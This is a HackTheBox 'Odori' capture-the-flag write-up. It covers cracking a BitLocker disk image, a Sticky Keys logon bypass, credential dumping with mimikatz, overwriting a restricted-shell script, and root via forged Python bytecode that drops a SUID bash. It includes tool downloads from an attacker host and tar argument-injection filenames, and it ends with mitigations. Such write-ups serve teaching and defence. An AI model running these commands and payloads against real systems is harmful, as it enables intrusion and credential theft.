DEV Community

Cover image for HackTheBox: Odori Writeup
Yogeshwar Peela
Yogeshwar Peela

Posted on Originally published at exploitnotes.hashnode.dev

HackTheBox: Odori Writeup

Summary

Odori ships as an offline forensics box: the only live services are SSH and Samba, and an anonymously readable backup share just points to a BitLocker-encrypted VMDK handed out with the machine. Cracking the BitLocker password with bitlocker2john and rockyou unlocks the disk, but getting a usable account still means booting the VM into WinRE and swapping sethc.exe for cmd.exe to get a SYSTEM shell past the Windows logon with neither account's password known. From there, mimikatz dumps NTLM hashes (a dead end against the Linux box's Samba) and then pulls a cleartext scheduled-task password for svc_backup out of Credential Manager. That account can only SFTP into the Linux target - ForceCommand blocks an interactive shell - but /opt/restrict and svc_backup's .ssh directory are both writable over SFTP, so overwriting the forced-command script gets a real bash -i. User flag comes off before the shell escape. Root is a root cron job running /opt/archiver/app.py every minute: a tar-argument-injection attempt against writable /backup fails because each file gets its own tar invocation, but /opt/archiver/__pycache__/helper.cpython-310.pyc is writable by svc_backup, so forging a .pyc with a matching (mtime, size) header and module-level payload code gets arbitrary code executed as root on the next cron tick, dropping a SUID root bash.

Table of Contents

  1. Reconnaissance
  2. Offline Disk Analysis
  3. Decrypting BitLocker and Booting the VM
  4. Credential Dumping (Windows)
  5. Gaining a Shell (Linux)
  6. User Flag
  7. Privilege Escalation
  8. Root Flag
  9. Attack Chain Summary
  10. Mitigations
  11. References

1. Reconnaissance

1.1 Nmap

nmap -A -Pn <machine-ip> -oN nmap-full.txt

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 33:6a:5a:1f:35:95:4f:47:78:f4:5e:81:1b:ac:0e:af (ECDSA)
|_  256 62:a0:e7:ec:de:21:8d:83:cd:72:cc:7b:fa:9f:7f:15 (ED25519)
139/tcp open  netbios-ssn Samba smbd 4
445/tcp open  netbios-ssn Samba smbd 4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-time:
|   date: 2026-10-17T14:09:51
|_  start_date: N/A
|_nbstat: NetBIOS name: ODORI, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled but not required
|_clock-skew: 1d00h08m40s
Enter fullscreen mode Exit fullscreen mode

Three open ports: 22 (OpenSSH), 139 and 445 (Samba). No web surface at all, so the SMB shares become the obvious next step.

1.2 SMB Enumeration

Checked for null/guest SMB access before anything else:

nxc smb <machine-ip> -u '' -p ''
SMB   <machine-ip>   445   ODORI   [*] Unix - Samba (name:ODORI) (domain:ODORI) (signing:False) (SMBv1:None) (Null Auth:True)
SMB   <machine-ip>   445   ODORI   [+] ODORI\:
Enter fullscreen mode Exit fullscreen mode

Null auth works, so shares can be enumerated anonymously:

nxc smb <machine-ip> -u '' -p '' --shares
SMB   <machine-ip>   445   ODORI   Share           Permissions     Remark
SMB   <machine-ip>   445   ODORI   -----           -----------     ------
SMB   <machine-ip>   445   ODORI   print$                          Printer Drivers
SMB   <machine-ip>   445   ODORI   backup          READ            Server Backups
SMB   <machine-ip>   445   ODORI   IPC$                            IPC Service (odori server (Samba, Ubuntu))
Enter fullscreen mode Exit fullscreen mode

backup is world-readable:

smbclient //<machine-ip>/backup -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jun 25 18:49:15 2025
  ..                                  D        0  Fri Apr 24 17:29:37 2026
  info.txt                            N       66  Wed Jun 25 18:48:44 2025

                7533016 blocks of size 1024. 2864352 blocks available
smb: \> get info.txt
getting file \info.txt of size 66 as info.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
Enter fullscreen mode Exit fullscreen mode
cat info.txt
Please download the .vmdk file linked in the machine description.
Enter fullscreen mode Exit fullscreen mode

A single hint file pointing away from the live target entirely - the actual entry point is an offline forensics exercise against a provided disk image, not a live network service.


2. Offline Disk Analysis

The provided download is a large 7z archive (~19 GiB) containing a single .vmdk.

7z e odori.7z
7-Zip 26.01 (x64) : Copyright (c) 1999-2026 Igor Pavlov : 2026-04-27
Scanning the drive for archives:
1 file, 19795590292 bytes (19 GiB)
Extracting archive: odori.7z
Enter password (will not be echoed):
--
Everything is Ok

file file02.vmdk
file02.vmdk: VMware4 disk image
Enter fullscreen mode Exit fullscreen mode

2.1 Sanity-checking the disk image

Worth validating before spending time analyzing a 19 GiB file that might just be corrupted:

qemu-img info file02.vmdk
image: file02.vmdk
file format: vmdk
virtual size: 20 GiB (21474836480 bytes)
disk size: 18.7 GiB
cluster_size: 65536
Format specific information:
    cid: 3024510711
    parent cid: 4294967295
    create type: monolithicSparse

qemu-img check file02.vmdk
No errors were found on the image.
Enter fullscreen mode Exit fullscreen mode
  • monolithicSparse - single-file VMDK, no split extents to track down.
  • parent cid: 4294967295 (0xFFFFFFFF) - no parent/base disk. Standalone image, not a snapshot delta waiting on a missing base.
  • Virtual size 20 GiB vs. 18.7 GiB on disk - consistent with what was extracted.
sha256sum file02.vmdk
e7b487e41937da6b6a5875867cf92a2c4f90bbcc32f61795c019e35f2db8a631  file02.vmdk
Enter fullscreen mode Exit fullscreen mode

2.2 Identifying the OS and filesystem layout

virt-filesystems --long -h --all -a file02.vmdk
Name       Type        VFS   Label  MBR  Size  Parent
/dev/sda1  filesystem  vfat  -      -    96M   -
/dev/sda4  filesystem  ntfs  -      -    524M  -
/dev/sda1  partition   -     -      -    100M  /dev/sda
/dev/sda2  partition   -     -      -    16M   /dev/sda
/dev/sda3  partition   -     -      -    19G   /dev/sda
/dev/sda4  partition   -     -      -    524M  /dev/sda
/dev/sda   device      -     -      -    20G   -
Enter fullscreen mode Exit fullscreen mode
virt-ls -a file02.vmdk -m /dev/sda1 -R /
EFI
EFI/Boot/bootx64.efi
EFI/Microsoft/Boot/...
System Volume Information
Enter fullscreen mode Exit fullscreen mode

EFI System Partition plus a Microsoft Boot Manager layout - this confirms a Windows guest. The large 19 GB /dev/sda3 partition (unidentified filesystem type to virt-filesystems) is the OS volume, and turns out to be BitLocker-encrypted.


3. Decrypting BitLocker and Booting the VM

3.1 Building the analysis VM

VMware Workstation, custom build pointed directly at the extracted VMDK:

  1. File -> New Virtual Machine -> Custom (advanced)
  2. Hardware compatibility: default
  3. Guest OS install: "I will install the operating system later"
  4. Guest OS: Windows 10/11 x64 (closest match to the modern EFI bootloader seen earlier; refine later if it turns out to be Server)
  5. Name/location: anywhere with enough free space for VM config files (the VMDK stays referenced in place)
  6. CPU/memory: defaults
  7. Network Type: Host-only - set this now, before first boot, to keep the box isolated
  8. I/O controller / disk type: defaults
  9. Select a Disk -> Use an existing virtual disk -> browse to file02-working.vmdk (work on a copy, never the original). Accept any "needs to be converted" prompt only if required.
  10. Finish
  11. Before powering on: confirm Network Adapter is Host-only, and Hard Disk points at the working copy.
  12. Power on -> if prompted "did you copy or move this VM," choose I copied it.

Powering on this VM is where the BitLocker protection first became visible - the boot immediately stops at a password prompt instead of reaching a Windows logon screen.

3.2 Cracking the BitLocker hash

john ships a native BitLocker hash extractor, run back on the host against the original VMDK:

bitlocker2john -i file02.vmdk > vm-hash
Enter fullscreen mode Exit fullscreen mode
cat vm-hash
Encrypted device file02.vmdk opened, size 19122MB
...
$bitlocker$0$16$b303ee2dfde14680034ffeeb510b5d65$1048576$12$e0ff381f1d64db010c000000$60$...
Hash type: User Password with MAC verification (slower solution, no false positives)
$bitlocker$1$...  Hash type: Recovery Password fast attack
$bitlocker$2$...  Hash type: Recovery Password with MAC verification (slower solution, no false positives)
$bitlocker$3$...  Hash type: Recovery Password with MAC verification (slower solution, no false positives)
Enter fullscreen mode Exit fullscreen mode
john --wordlist=/usr/share/wordlists/rockyou.txt vm-hash
Note: This format may emit false positives, so it will keep trying even after finding a possible candidate.
Loaded 2 password hashes with 2 different salts (BitLocker, BitLocker [SHA-256 AES 32/64])
123456789        (?)
123456789        (?)
Enter fullscreen mode Exit fullscreen mode

BitLocker password cracked: 123456789. Entering this at the VM's BitLocker prompt unlocks the volume and lets the boot continue - but it still doesn't give us a Windows account (Administrator / svc_backup) to log in as, since we still don't know either account's Windows password. For that, a privilege escalation path is needed once inside the guest.

3.3 Bypassing the Windows logon with a recovery environment

To get a SYSTEM-level shell without knowing either account's Windows password, boot into WinRE from an installation ISO and patch Sticky Keys.

Attach the ISO (VM powered off): Settings -> CD/DVD (SATA) -> Use ISO Image file -> browse to a Windows installation ISO -> check Connect at power on.

Boot to firmware and select the CD-ROM: Power On -> Power On to Firmware -> Boot Manager -> select EFI VMware Virtual SATA CDROM Drive (1.0).

The ISO's Windows Setup loads. Pick language/keyboard defaults and click Next:

On the install screen, don't click Install now - use the recovery link in the bottom-left instead:

This drops into WinRE. Click Troubleshoot:

Then Command Prompt:

Identify and unlock the BitLocker volume from the recovery shell:

X:\Sources>diskpart

DISKPART> list volume

  Volume ###  Ltr  Label        Fs     Type        Size     Status     Info
  ----------  ---  -----------  -----  ----------  -------  ---------  --------
  Volume 0     D   ESD-ISO      UDF    DVD-ROM     4667 MB  Healthy
  Volume 1         Unkno        Partition     19 GB  Healthy
  Volume 2         FAT32        Partition    100 MB  Healthy    Hidden
  Volume 3         NTFS         Partition    524 MB  Healthy    Hidden

DISKPART> select volume 1
DISKPART> assign letter=E
DISKPART> exit
Enter fullscreen mode Exit fullscreen mode

Volume 1 (the 19 GB target) reads as Unkno filesystem until unlocked - a BitLocker-locked NTFS volume shows as unrecognized to tools that can't decrypt it on the fly.


X:\Sources>manage-bde -unlock E: -pw
Enter the password to unlock this volume: [BitLocker password]
The password successfully unlocked volume E:.

X:\Sources>dir E:
01/11/2025  05:23 AM    <DIR>          Config
01/11/2025  05:33 AM    <DIR>          Data
01/11/2025  05:32 AM    <DIR>          Program Files
01/11/2025  05:29 AM    <DIR>          Scripts
01/08/2025  09:05 AM    <DIR>          Users
10/16/2026  08:30 PM    <DIR>          Windows
Enter fullscreen mode Exit fullscreen mode

Swap sethc.exe for cmd.exe - the classic Sticky Keys privesc:

X:\Sources>copy E:\Windows\System32\sethc.exe E:\Windows\System32\sethc.exe.bak
        1 file(s) copied.

X:\Sources>copy E:\Windows\System32\cmd.exe E:\Windows\System32\sethc.exe
Overwrite E:\Windows\System32\sethc.exe? (Yes/No/All): Y
        1 file(s) copied.
Enter fullscreen mode Exit fullscreen mode

Disconnect the ISO and reboot into the normal Windows logon screen. Pressing Shift x5 at the logon screen now launches a SYSTEM-privileged cmd.exe in place of the Sticky Keys dialog - full SYSTEM access with neither account's Windows password:

From this SYSTEM prompt, the Administrator password can simply be reset:

net user Administrator Password123
Enter fullscreen mode Exit fullscreen mode

4. Credential Dumping (Windows)

4.1 Local hashes via mimikatz

C:\Temp>.\mimikatz.exe

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # token::elevate
 -> Impersonated !
 * Thread Token  : {0;000003e7} NT AUTHORITY\SYSTEM

mimikatz # lsadump::sam
Enter fullscreen mode Exit fullscreen mode

Recovered NTLM hashes:

Administrator:58a478135a93ac3bf058a5ea0e8fdb71
svc_backup:be3071bd4cce75e2bbd3c79c7ec5380e
WDAGUtilityAccount:63d7c1f6a1a8378eba2ee87246bf7140
Enter fullscreen mode Exit fullscreen mode

Pass-the-hash against the Linux target's Samba service only authenticates as Guest - Samba doesn't trust these as domain creds for anything useful here:

nxc smb <machine-ip> -u svc_backup -H be3071bd4cce75e2bbd3c79c7ec5380e
SMB   <machine-ip>   445   ODORI   [+] ODORI\svc_backup:be3071bd4cce75e2bbd3c79c7ec5380e (Guest)

nxc smb <machine-ip> -u Administrator -H 58a478135a93ac3bf058a5ea0e8fdb71
SMB   <machine-ip>   445   ODORI   [+] ODORI\Administrator:58a478135a93ac3bf058a5ea0e8fdb71 (Guest)
Enter fullscreen mode Exit fullscreen mode

So the NTLM hashes aren't the way in - the real credential is elsewhere on disk.

4.2 Finding a cleartext password in Credential Manager

C:\Scripts\backup.ps1 references svc_backup connecting to odori.vl via SFTP, with the password redacted in the script itself (shown only as ***). Since the script runs as a scheduled task, Windows has to store the running account's password somewhere to authenticate non-interactively at run time - Credential Manager's Windows Credentials vault is the usual place for this.

mimikatz # vault::list

Vault : {77bc582b-f0a6-4e15-4e80-61736b6f3b29}
        Name       : Windows Credentials
        Items (1)
          0.    (null)
                Ressource       : [STRING] Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8}
                Identity        : [STRING] FILE02\svc_backup
                *** Domain Password ***
Enter fullscreen mode Exit fullscreen mode

vault::list shows the entry exists but doesn't reveal the password itself - vault::cred /patch decrypts and dumps it:

mimikatz # vault::cred /patch
TargetName : Domain:batch=TaskScheduler:Task:{EB952370-3B64-45F3-814D-6F47F413A8D8} / <NULL>
UserName   : FILE02\svc_backup
Type       : 2 - domain_password
Credential : Napping2Curator
Enter fullscreen mode Exit fullscreen mode

Recovered credential: svc_backup / Napping2Curator


5. Gaining a Shell (Linux)

5.1 SSH authenticates but hangs

ssh svc_backup@<machine-ip> -v
...
debug1: Next authentication method: password
svc_backup@<machine-ip>'s password:
Authenticated to <machine-ip> ([<machine-ip>]:22) using "password".
debug1: Entering interactive session.
debug1: pledge: fork
Enter fullscreen mode Exit fullscreen mode

Authentication succeeds, but the session never produces a shell prompt - it just hangs. This pointed at a server-side restriction rather than a credential problem, so the obvious workaround is to try a different SSH subsystem: SFTP (also over port 22) is mentioned in the backup script, so test that first.

5.2 SFTP works

sftp svc_backup@<machine-ip>
svc_backup@<machine-ip>'s password:
Connected to <machine-ip>.
sftp> ls -la
drwxr-x---    5 svc_backup svc_backup     4096 Apr  6  2026 .
drwxr-xr-x    4 root     root         4096 Jan 11  2025 ..
lrwxrwxrwx    1 root     root            9 Apr  6  2026 .bash_history
-rw-r--r--    1 svc_backup svc_backup      220 Jan 11  2025 .bash_logout
-rw-r--r--    1 svc_backup svc_backup     3771 Jan 11  2025 .bashrc
drwx------    2 svc_backup svc_backup     4096 Jan 11  2025 .cache
drwxrwxr-x    3 svc_backup svc_backup     4096 Jan 15  2025 .local
-rw-r--r--    1 svc_backup svc_backup      807 Jan 11  2025 .profile
drwxr-xr-x    2 svc_backup svc_backup     4096 Jan 11  2025 .ssh
-rw-r-----    1 root     svc_backup       33 Oct 18 02:59 user.txt
Enter fullscreen mode Exit fullscreen mode

5.3 Diagnosing the restricted shell

Pulled the SSH server config to understand why the interactive session hangs:

sftp> get /etc/ssh/sshd_config
Enter fullscreen mode Exit fullscreen mode
cat sshd_config
...
Match group svc_backup
        #ChrootDirectory /backup
        ForceCommand /opt/restrict /home/%u
        AllowTcpForwarding no
Enter fullscreen mode Exit fullscreen mode

svc_backup falls under this Match group block, and ForceCommand overrides whatever command the client requests - that's why the interactive shell never materializes. The forced command itself:

sftp> get /opt/restrict
Enter fullscreen mode Exit fullscreen mode
cat restrict
#!/bin/bash

/usr/lib/openssh/sftp-server -d $1
Enter fullscreen mode Exit fullscreen mode

It just re-execs the SFTP server, which is why SFTP worked but an interactive shell didn't - the account is wired to only ever get SFTP.

5.4 Escaping the restricted shell

Two things make the bypass possible:

  1. /opt/restrict is group/other-writable (-rwxrwxr-x, owned by svc_backup:root) - the exact file SSH forces as the login command can be overwritten.
  2. svc_backup's own .ssh directory is writable over SFTP, so a public key can be dropped in for key-based auth.

Add our public key:

cat ~/.ssh/id_ed25519.pub >> authorized_keys
# on sftp
put authorized_keys /home/svc_backup/authorized_keys
Enter fullscreen mode Exit fullscreen mode

Replace the forced command with a real shell:

cat > restrict_new << 'EOF'
#!/bin/bash
/bin/bash -i
EOF
chmod +x restrict_new
Enter fullscreen mode Exit fullscreen mode
# on sftp
put restrict_new /opt/restrict
Enter fullscreen mode Exit fullscreen mode

Connect with an interactive shell:

ssh -i ~/.ssh/id_ed25519 svc_backup@<machine-ip>
svc_backup@odori:~$ whoami
svc_backup
svc_backup@odori:~$ id
uid=1001(svc_backup) gid=1001(svc_backup) groups=1001(svc_backup)
Enter fullscreen mode Exit fullscreen mode
svc_backup@odori:~$ sudo -l
[sudo] password for svc_backup:
Sorry, user svc_backup may not run sudo on odori.
Enter fullscreen mode Exit fullscreen mode

No sudo rights - privilege escalation has to come from somewhere else on the box.


6. User Flag

Grabbed via SFTP, before the shell escape above:

sftp> get user.txt
Fetching /home/svc_backup/user.txt to user.txt
user.txt                                                                    100%   33     0.0KB/s   00:00
Enter fullscreen mode Exit fullscreen mode
cat user.txt
REDACTED
Enter fullscreen mode Exit fullscreen mode

7. Privilege Escalation

7.1 Enumeration

svc_backup@odori:~$ find / -perm -4000 2>/dev/null
...
-rwsr-xr-x 1 root root 31K Apr 10 2026 /usr/bin/pkexec  --->  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)/Generic_CVE-2021-4034
Enter fullscreen mode Exit fullscreen mode

All SUID binaries are patched against their known CVEs - nothing usable there. Crontabs and timers visible to the user showed nothing either, so the next step was to pull linpeas.sh and pspy64 to look for privileged activity invisible from a normal user's view (cron jobs running as root in particular don't show up in a user's own crontab -l).

svc_backup@odori:~$ wget http://<attacker-ip>/linpeas.sh
svc_backup@odori:~$ wget http://<attacker-ip>/pspy64 && chmod +x pspy64 && ./pspy64
Enter fullscreen mode Exit fullscreen mode

pspy64 caught a root-owned process firing every minute:

2026/10/18 07:37:01 CMD: UID=0 PID=67651 | python3 /opt/archiver/app.py
2026/10/18 07:37:01 CMD: UID=0 PID=67650 | /bin/sh -c python3 /opt/archiver/app.py
Enter fullscreen mode Exit fullscreen mode

7.2 The archiver script

/opt/archiver - already noted earlier over SFTP but not yet connected to a cron job:

svc_backup@odori:~$ ls -la /opt/archiver/
total 20
drwxr-xr-x 3 root root 4096 Apr 24 11:59 .
drwxr-xr-x 3 root root 4096 Apr 24 11:59 ..
-rw-r--r-- 1 root root  812 Jan 11  2025 app.py
-rw-r--r-- 1 root root  412 Jan 16  2025 helper.py
drwxr-xrwx 2 root root 4096 Oct 18 08:10 __pycache__
Enter fullscreen mode Exit fullscreen mode
# app.py
import os
from datetime import datetime, timedelta
from helper import tar_and_move_files

backup_dir = '/backup'
archive_dir = '/archive'
threshold_date = datetime.now() - timedelta(days=3*365)

def scan_and_archive_files():
    if not os.path.exists(archive_dir):
        os.makedirs(archive_dir)
    for root, dirs, files in os.walk(backup_dir):
        for file in files:
            file_path = os.path.join(root, file)
            file_mod_time = datetime.fromtimestamp(os.path.getmtime(file_path))
            if file_mod_time < threshold_date:
                print(f'Moving {file_path} to archive...')
                tar_and_move_files(file_path, archive_dir)
            else:
                print(f'{file_path} is not old enough to archive.')

if __name__ == '__main__':
    scan_and_archive_files()
Enter fullscreen mode Exit fullscreen mode
# helper.py
import os
import subprocess
from datetime import datetime

def tar_and_move_files(file_path, archive_dir):
    current_date = datetime.now().strftime('%Y-%m-%d')
    tar_filename = os.path.join(archive_dir, f'{current_date}_{os.path.basename(file_path)}.tar.gz')
    subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", os.path.dirname(file_path), os.path.basename(file_path)])
    os.remove(file_path)
Enter fullscreen mode Exit fullscreen mode

Two separate weaknesses jump out:

# Weakness Where
1 tar is invoked with a filename taken straight from /backup, with no sanitization helper.py -> tar_and_move_files()
2 __pycache__ is world-writable (drwxr-xrwx), and the cached bytecode file inside it is owned by svc_backup /opt/archiver/__pycache__/

/backup itself is also writable by svc_backup (confirmed via linpeas and by the earlier SMB backup share), so both paths are reachable.

7.3 Attempt 1: tar argument injection (failed)

The idea: drop a filename in /backup, aged past the 3-year threshold, crafted so tar parses it as an option instead of a filename - classic GTFOBins-style tar argument injection.

cd /backup
touch -d "4 years ago" -- "--checkpoint=1"
touch -d "4 years ago" -- "--checkpoint-action=exec=sh shell.sh"
Enter fullscreen mode Exit fullscreen mode

This doesn't work here. app.py calls tar_and_move_files() once per file found by os.walk(), and each call spawns its own separate tar process with a single filename argument:

subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", dirname, basename])
Enter fullscreen mode Exit fullscreen mode

So --checkpoint=1 and --checkpoint-action=... land in two unrelated tar invocations, never together on the same command line. --checkpoint alone is harmless (just prints progress), so nothing fires. Confirmed manually:

/usr/bin/tar -czf /tmp/test1.tar.gz -C /home/svc_backup -- "--checkpoint=1"
# exit code: 0, archive created normally - no injection possible this way
Enter fullscreen mode Exit fullscreen mode

A single self-contained option like --use-compress-program=/path/to/script would work in principle, since it needs no pairing with a second argument - but the __pycache__ write primitive below was already confirmed and is more deterministic, so that became the actual exploitation path.

7.4 Attempt 2: __pycache__ bytecode poisoning (successful)

Python's import system trusts a cached .pyc file over recompiling its matching .py source whenever the .pyc's embedded header - specifically the source file's (mtime, size) - matches the real source file on disk. There's no cryptographic integrity check on cached bytecode. Since helper.cpython-310.pyc was owned by and writable by svc_backup, a forged .pyc with a header matching the real helper.py would be loaded and executed as-is by root's cron job, without the actual helper.py source ever being touched.

(See Section 10 - References for background on this technique.)

Step 1 - capture the real source file's mtime/size, needed so the forged header validates:

REAL_MTIME=$(stat -c '%Y' /opt/archiver/helper.py)
REAL_SIZE=$(stat -c '%s' /opt/archiver/helper.py)
Enter fullscreen mode Exit fullscreen mode

Step 2 - write a malicious helper.py. The payload has to sit at module scope, not inside tar_and_move_files() - the function body only runs if app.py actually calls it, which requires a qualifying file in /backup. Module-level code runs unconditionally the instant the module is imported, which happens on every single cron tick regardless of /backup's contents:

import os, subprocess
from datetime import datetime

try:
    os.system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash")
except Exception:
    pass

def tar_and_move_files(file_path, archive_dir):
    current_date = datetime.now().strftime('%Y-%m-%d')
    tar_filename = os.path.join(archive_dir, f'{current_date}_{os.path.basename(file_path)}.tar.gz')
    subprocess.Popen(["/usr/bin/tar", "-czf", tar_filename, "-C", os.path.dirname(file_path), os.path.basename(file_path)])
    os.remove(file_path)
Enter fullscreen mode Exit fullscreen mode

An earlier attempt placed the os.system(...) call inside the function body and produced no result - it silently waited on a qualifying /backup file that never arrived. Moving it to module scope fixed this.

Step 3 - compile, then patch the header's size field. py_compile stamps the local file's own mtime/size by default; the mtime is made correct up front by touching the source file, but the size still has to be patched manually to match the real helper.py on the target:

touch -d @$REAL_MTIME helper.py
python3 -m py_compile helper.py

python3 - << EOF
import struct
pyc_path = "__pycache__/helper.cpython-310.pyc"
with open(pyc_path, "r+b") as f:
    data = bytearray(f.read())
    struct.pack_into("<I", data, 12, $REAL_SIZE & 0xFFFFFFFF)
    f.seek(0)
    f.write(data)
EOF
Enter fullscreen mode Exit fullscreen mode

Step 4 - drop it into the real cache directory and wait for the next cron tick:

cp __pycache__/helper.cpython-310.pyc /opt/archiver/__pycache__/helper.cpython-310.pyc
watch -n 5 'ls -la /tmp/rootbash 2>/dev/null'
Enter fullscreen mode Exit fullscreen mode

Within 60 seconds:

svc_backup@odori:/tmp/poison$ ls -la /tmp/rootbash
-rwsr-xr-x 1 root root 1396520 Oct 18 09:42 /tmp/rootbash
svc_backup@odori:/tmp/poison$ /tmp/rootbash -p
rootbash-5.1# id
uid=1001(svc_backup) gid=1001(svc_backup) euid=0(root) groups=1001(svc_backup)
Enter fullscreen mode Exit fullscreen mode

7.5 Automating the exploit

A general-purpose version of steps 2-4 above is included in this repo as pycache_poison.py. It builds the malicious module, compiles it, patches the header to match an arbitrary real source file, and writes the result to a target __pycache__ path in one shot:

python3 pycache_poison.py \
  --source /opt/archiver/helper.py \
  --target-pyc /opt/archiver/__pycache__/helper.cpython-310.pyc \
  --payload "os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')" \
  --keep-func tar_and_move_files
Enter fullscreen mode Exit fullscreen mode

--keep-func regenerates a harmless no-op stub for any function the privileged script imports from the module (here, tar_and_move_files), so app.py keeps running cleanly while the payload fires unconditionally on import.


8. Root Flag

rootbash-5.1# cd /root
rootbash-5.1# ls
root.txt  snap
rootbash-5.1# cat root.txt
REDACTED
Enter fullscreen mode Exit fullscreen mode

9. Attack Chain Summary

Odori
│
├─ Recon
│   ├─ Nmap: SSH (22), Samba (139/445) only - no web surface
│   ├─ SMB null session -> anonymous access to `backup` share
│   └─ info.txt -> hint: "download the .vmdk file"
│
├─ Offline Disk Analysis
│   ├─ Extract 7z -> file02.vmdk (19 GiB)
│   ├─ qemu-img info/check -> valid, standalone, monolithicSparse
│   └─ virt-filesystems / virt-ls -> Windows (EFI + MS Boot Manager), sda3 = BitLocker volume
│
├─ BitLocker Bypass
│   ├─ bitlocker2john -> hash extracted
│   └─ john + rockyou -> password cracked: 123456789
│
├─ Windows Access (SYSTEM)
│   ├─ Boot VM in VMware (host-only network) -> BitLocker unlock works, but no Windows creds
│   ├─ Boot to firmware -> installation ISO -> WinRE -> Command Prompt
│   ├─ diskpart -> unlock volume with manage-bde -unlock
│   ├─ Swap sethc.exe <-> cmd.exe (Sticky Keys)
│   └─ Reboot -> Shift x5 at logon -> SYSTEM cmd.exe
│
├─ Credential Access
│   ├─ mimikatz lsadump::sam -> NTLM hashes (Administrator, svc_backup)
│   │   └─ Pass-the-hash vs Samba -> Guest only (dead end)
│   └─ mimikatz vault::cred /patch -> cleartext scheduled-task password
│       └─ svc_backup : Napping2Curator
│
├─ Linux Shell Access
│   ├─ ssh svc_backup -> authenticates but hangs (ForceCommand)
│   ├─ sftp svc_backup -> works; sshd_config confirms Match group + ForceCommand /opt/restrict
│   ├─ Weaknesses: /opt/restrict writable, .ssh writable over SFTP
│   ├─ Upload SSH pubkey + overwrite /opt/restrict with `/bin/bash -i`
│   └─ ssh -i key svc_backup -> interactive shell (no sudo rights)
│
├─ User Flag
│   └─ Read via SFTP before the shell escape
│
├─ Privilege Escalation
│   ├─ Enumeration
│   │   ├─ SUID binaries all patched (pkexec etc.) - dead end
│   │   └─ pspy64 -> root cron: python3 /opt/archiver/app.py (every minute)
│   │
│   ├─ Attempt 1: tar argument injection - FAILED
│   │   └─ One tar process per file -> injected flags never land together
│   │
│   └─ Attempt 2: __pycache__ bytecode poisoning - SUCCESS
│       ├─ helper.cpython-310.pyc writable by svc_backup
│       ├─ Forge .pyc: module-level payload + header (mtime, size) matching real helper.py
│       ├─ Drop into /opt/archiver/__pycache__/
│       └─ Next cron tick -> payload runs as root -> SUID /tmp/rootbash
│
└─ Root Flag
    └─ /tmp/rootbash -p -> root shell -> cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode

10. Mitigations

Weakness Fix
BitLocker protected by a weak, rockyou-crackable password (123456789) Enforce a strong passphrase or TPM-backed key policy; don't rely on a user password alone for at-rest encryption
Local Administrator/recovery access obtainable via WinRE + Sticky Keys binary swap Disable boot-to-WinRE/external-media recovery where not needed, or enforce BitLocker pre-boot authentication so the OS volume can't be mounted from an offline recovery shell at all; Secure Boot + a signed boot chain also blocks the sethc.exe swap
Cleartext scheduled-task password recoverable from Credential Manager via vault::cred /patch Avoid storing passwords for scheduled/service accounts in the Windows Credentials vault; use a gMSA, a Windows service account with no interactive logon, or a secrets manager instead
SMB backup share readable via anonymous/null session Disable SMB null sessions / guest access; require authentication on every share, even "informational" ones
ForceCommand /opt/restrict relied on for shell restriction, but the script itself and .ssh are writable by the restricted account Restricted shells must not be writable by the account they restrict; ship them root-owned and read-only (0755 root:root), and lock down ~/.ssh similarly or disable key-based auth for that account entirely
/opt/archiver/__pycache__ world-writable, with a .pyc owned by the low-privileged service account Never let an unprivileged account own or write into a privileged process's __pycache__; run python3 -B (or set PYTHONDONTWRITEBYTECODE=1) for privileged scripts, or ship pre-compiled bytecode owned by root with a root-only cache directory
app.py/helper.py run unsanitized filenames from a world-writable /backup directly into tar Don't pass user-controlled filenames straight into tar's argument list; use tar -- with validated/sanitized names, or call tarfile from Python instead of shelling out
Root cron job runs code out of a directory (/opt/archiver) with any component writable by a non-root account Principle of least privilege for cron/scheduled jobs: the entire execution path (script, imports, cache, working directory) should be root-owned and non-writable by the account that triggers or feeds it data

11. References

Top comments (0)